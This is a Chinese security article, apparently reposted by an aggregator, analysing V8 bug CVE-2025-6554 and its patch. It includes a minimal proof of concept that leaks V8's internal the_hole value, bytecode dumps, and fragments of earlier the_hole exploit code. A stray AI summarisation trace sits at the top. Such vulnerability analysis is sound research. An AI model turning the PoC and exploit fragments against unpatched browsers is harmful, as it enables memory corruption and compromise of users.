V8 引擎漏洞 CVE-2025-6554 分析及新型 the_hole 泄漏技术研究
好的,我现在需要帮用户总结这篇文章的内容,控制在100字以内。首先,我得仔细阅读文章,抓住主要信息。 文章讲的是2025年6月谷歌发现的一个V8引擎漏洞,编号CVE-2025-6554。这个漏洞利用了另一个“the_hole”泄漏问题,之前已经有两个类似的漏洞案例。这次的漏洞是由于Ignition字节码生成器中的作用域生命周期管理缺陷,特别是在处理可选链和TDZ空洞检查时出现了错误。 用户希望总结内容直接描述文章内容,不需要开头用“文章总结”之类的。所以我要确保语言简洁明了,涵盖时间、发现者、漏洞名称、影响范围以及修复措施。 接下来,我需要将这些要点浓缩到100字以内。可能的结构是:时间+发现者+漏洞名称+漏洞原因+影响范围+修复情况。 最后检查字数,确保不超过限制,并且信息准确无误。 </think> 2025年6月,谷歌发现V8引擎漏洞CVE-2025-6554,利用Ignition字节码生成器中的TDZ空洞检查优化缺陷。该漏洞通过可选链短路行为与HoleCheckElisionScope作用域管理错误结合触发the_hole泄漏。修复方案将HoleCheckElisionScope嵌入OptionalChainNullLabelScope以隔离bitmap状态。 2025-12-13 09:49:9 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

概述

2025年6月,谷歌威胁分析小组(Clement Lecigne, @_clem1)发现一个在野漏洞利用,该漏洞利用了V8引擎中一个非常著名的原始漏洞,并引入了一种新的利用技术——另一个“the_hole”泄漏问题,引发了广泛关注。该漏洞本身非常有趣,涉及V8引擎内部的多个领域和概念。本文仅是对该漏洞的分析,但所有功劳归于@mistymntncop及其技术分析报告,他们完成了漏洞分析并撰写了概念验证代码,本文正是以其成果为主要参考依据。

过往the_hole漏洞利用技术

the_hole对象已成为V8中反复出现的漏洞利用原语,攻击者发现了多种将其泄漏到JavaScript并利用它进行内存破坏的方法。在CVE-2025-6554之前,至少有两个值得注意的在野漏洞利用案例使用了the_hole:

CVE-2022-1364:逃逸分析绕过

该技术利用了V8逃逸分析实现中的疏漏。漏洞根源在于非标准的getThis API在节点逃逸分析过程中未能被正确追踪,导致the_hole对象可被泄漏至JavaScript环境。

一旦成功泄漏,攻击者便能利用the_hole的内存布局操控Map对象:

function getmap(m) {
    m = new Map();
    m.set(1, 1);
    m.set(%TheHole(), 1);
    m.delete(%TheHole());
    m.delete(%TheHole());
    m.delete(1);
    return m;

CVE-2023-2033:Turbofan类型混淆漏洞

@mistymntncop 发现的CVE-2023-2033漏洞利用揭示了Turbofan类型系统中存在一个缺陷:the_hole被意外地当作其他Oddball对象处理,使得像ToNumber这样的操作能够返回NaN。这种意外行为导致了JIT编译器中的类型混淆:

function weak_fake_obj(b, addr=1.1) {
    if(b) {
        let index = Number(b ? the.hole : -1);
        index |= 0;
        index += 1;
...

CVE-2025-6554

CVE-2025-6554代表了一种不同的攻击途径。与之前针对逃逸分析或类型系统行为的漏洞利用不同,该漏洞利用了Ignition字节码生成器中的作用域生命周期管理缺陷,特别是围绕TDZ(暂时性死区)空洞检查省略优化机制。其泄漏后的利用技术同样具有创新性,通过消除TurboFan加载消除阶段的TypeGuard验证来绕过类型检查,从而创建具有非法长度的数组。

漏洞根源

该漏洞源于V8引擎中Ignition字节码生成器的作用域生命周期管理缺陷,具体表现为在可选链控制流边界处跟踪TDZ空洞检查省略优化机制时出现错误。

V8的暂时性死区机制

JavaScript 的 let 和 const 声明会创建一个暂时性死区,在该区域中变量虽已存在于作用域内,但在声明之前无法被访问:

console.log(x); // ReferenceError: Cannot access 'x' before initialization
let x = 5;

V8内部使用名为the_hole的特殊标记值来标识未初始化的变量。在每次访问暂时性死区变量前,V8会抛出ThrowReferenceErrorIfHole字节码指令。2023年6月,V8启用了一项优化机制,通过位图追踪技术在同一基本块内消除冗余的暂时性死区检查。

问题所在

该漏洞出现在可选链的短路行为与TDZ空洞检查省略机制相互作用时。HoleCheckElisionScope类采用RAII(资源获取即初始化)模式管理位图状态——在构造函数中保存位图状态,在析构函数中恢复原始状态。

但该作用域的设置位置存在错误:

void BytecodeGenerator::BuildOptionalChain(ExpressionFunc expression_func) {
  BytecodeLabel done;
  OptionalChainNullLabelScope label_scope(this);
  HoleCheckElisionScope elider(this); // <- the patch removed this
  expression_func();
  builder()->Jump(&done);
  label_scope.labels()->Bind(builder());
  builder()->LoadUndefined();
  builder()->Bind(&done);
}

当可选链运算结果为null或undefined时,会通过JumpIfUndefinedOrNull指令实现短路操作。此时右侧表达式在运行时根本不会执行。但在字节码生成阶段,生成器仍会遍历整个抽象语法树,包括那些永不会执行的代码。如果这些无效代码访问了TDZ变量,bitmap仍会被标记为"已检查"——即使该检查在运行时从未实际发生。

PoC

最小触发条件:

function leak_hole() {
  let x;
  delete x?.[y]?.a;
  return y;
  let y;
}

delete操作符对这个漏洞是必要的,但并非如我初次看到这个PoC时所想的那样用于生成the_hole。首先,我们来看可选链根据上下文可能采取的不同代码路径:

路径1:常规可选链(x?.[y]?.a)

  • 通过BuildOptionalChain处理

  • 将HoleCheckElisionScope作为局部变量使用

  • bitmap状态已实现有效隔离

  • return语句的空洞检查已正确触发

路径2:使用可选链的delete操作(delete x?.[y]?.a)

  • 通过VisitDelete处理 -> 创建OptionalChainNullLabelScope

  • 完全不存在HoleCheckElisionScope机制

  • bitmap修改会泄漏到作用域之外

  • 由于return语句的空洞检查被省略,导致信息泄漏

未修复代码中存在以下不对称性:

// Path 1: BuildOptionalChain
void BytecodeGenerator::BuildOptionalChain(ExpressionFunc expression_func) {
  BytecodeLabel done;
  OptionalChainNullLabelScope label_scope(this);
  HoleCheckElisionScope elider(this);  // <- Has scope as local variable
  expression_func();
  builder()->Jump(&done);
  label_scope.labels()->Bind(builder());
  builder()->LoadUndefined();
  builder()->Bind(&done);
}

// Path 2: VisitDelete
void BytecodeGenerator::VisitDelete(UnaryOperation* unary) {
  // ...
  } else if (expr->IsOptionalChain()) {
    Expression* expr_inner = expr->AsOptionalChain()->expression();
    if (expr_inner->IsProperty()) {
      Property* property = expr_inner->AsProperty();
      BytecodeLabel done;
      OptionalChainNullLabelScope label_scope(this);  // <- no HoleCheckElisionScope
      VisitForAccumulatorValue(property->obj());
      // ...

我们可以通过字节码对比来验证这一点。在不使用delete操作时(x?.[y]?.a):

26 Ldar r1                                ; Load y for return
28 ThrowReferenceErrorIfHole [0]          ; check is present
30 Return                                 ; Return y

使用delete时(delete x?.[y]?.a):

26 Ldar r1                                ; Load y for return
28 Return                                 ; check is missing and the_hole leaks!

修复方案将HoleCheckElisionScope嵌入为OptionalChainNullLabelScope的成员变量,使两条路径都能正确运行:

class OptionalChainNullLabelScope {
 public:
  explicit OptionalChainNullLabelScope(BytecodeGenerator* bytecode_generator)
      : bytecode_generator_(bytecode_generator),
        labels_(bytecode_generator->zone()),
        hole_check_scope_(bytecode_generator) {  // <- now a member
    ...
  }

 private:
  HoleCheckElisionScope hole_check_scope_;  // <- tied to scope lifetime
};

现在任何创建OptionalChainNullLabelScope的代码(包括BuildOptionalChain和VisitDelete)都能自动获得正确的bitmap隔离。

为了深入理解V8的处理流程并重现漏洞触发条件,以下是存在漏洞表达式的抽象语法树:

// ./out/x64.debug/d8 --allow-natives-syntax --print-ast /tmp/poc.js
[generating bytecode for function: leak_hole]
...
EXPRESSION STATEMENT
└── kDelete
    └── OPTIONAL_CHAIN
        └── PROPERTY (x?.[y]?.a)              <- Outer property
            ├── PROPERTY (x?.[y])             <- Inner property (this is property->obj())
            │   ├── VAR PROXY "x"             <- Object
            │   └── KEY
            │       └── VAR PROXY "y"         <- Key (TDZ variable!)
            └── NAME "a"                       <- Outer property name

当VisitDelete处理该表达式时:

  1. 它会解析外层的属性访问表达式 x?.[y]?.a

  2. 调用VisitForAccumulatorValue(property->obj()),其中obj = x?.[y]

  3. 为了计算x?.[y]的值,V8必须加载y(该变量处于TDZ暂时性死区状态)

  4. 这会触发空洞检查并标记bitmap

  5. 但第二步操作缺少HoleCheckElisionScope的包裹!
    我们还可以查看字节码,以下是V8为leak_hole()函数生成的字节码:

// ./out/x64.debug/d8 --allow-natives-syntax --print-bytecode /tmp/poc.js
 0 LdaTheHole                             ; Load the_hole -> accumulator
 1 Star1                                  ; y = the_hole
 2 LdaUndefined                           ; Load undefined -> accumulator
 3 Star0                                  ; x = undefined
 4 Mov r0, r2                             ; Copy x to r2
 7 JumpIfUndefinedOrNull [18] (->25)      ; If x is null/undefined, jump to 25
                                          ; (short-circuit happens here)
 9 Ldar r1                                ; Load y -> accumulator
11 ThrowReferenceErrorIfHole [0]          ; Check if y is the_hole (skipped)
13 GetKeyedProperty r2, [0]               ; x[y]
16 JumpIfUndefinedOrNull [9] (->25)       ; If x[y] is null/undefined, jump
18 Star2                                  ; Store result
19 LdaConstant [1]                        ; Load 'a'
21 DeletePropertySloppy r2                ; Delete property
23 Jump [3] (->26)
25 LdaTrue                                ; Load true (from short-circuit)
26 Ldar r1                                ; Load y for return
28 Return                                 ; Return y (no hole check!)

关键观察结果:

  • 偏移量7:短路跳转至偏移量25,跳过偏移量11


文章来源: https://www.freebuf.com/articles/vuls/458403.html
如有侵权请联系:admin#unsafe.sh